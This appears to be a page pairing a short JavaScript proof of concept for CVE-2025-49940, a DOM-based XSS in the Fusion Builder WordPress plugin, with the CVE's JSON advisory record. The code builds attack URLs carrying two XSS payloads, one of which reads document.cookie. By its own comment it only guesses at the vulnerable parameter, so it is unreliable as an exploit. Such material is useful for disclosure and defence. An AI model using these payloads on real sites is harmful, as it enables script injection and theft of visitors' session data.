CVE-2025-49940

// CVE-2025-49940 DOM-based XSS PoC // Target: ThemeFusion Fusion Builder <= 3.13.2 const maliciousPayload = '<img src=x onerror=alert(document.domain)>'; // Construct malicious URL targeting Fusion Builder parameters const targetUrl = 'https://vulnerable-site.com/page-with-fusion-builder/'; const maliciousUrl = `${targetUrl}?fusion_query=${encodeURIComponent(maliciousPayload)}`; console.log('Target URL:', targetUrl); console.log('Malicious URL:', maliciousUrl); console.log('XSS Payload:', maliciousPayload); // Alternative payload for different parameter const altPayload = '" onfocus="alert(document.cookie)" autofocus="'; const altMaliciousUrl = `${targetUrl}?builder=${encodeURIComponent(altPayload)}`; console.log('Alternative malicious URL:', altMaliciousUrl); console.log('Alternative payload:', altPayload); // Note: The actual exploitation depends on which parameter Fusion Builder // uses to inject user data into the DOM without sanitization

{"cve": {"id": "CVE-2025-49940", "sourceIdentifier": "[email protected]", "published": "2025-10-22T15:15:40.420", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in ThemeFusion Fusion Builder fusion-builder allows DOM-Based XSS.This issue affects Fusion Builder: from n/a through <= 3.13.2."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.3, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/fusion-builder/vulnerability/wordpress-fusion-builder-plugin-3-13-2-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}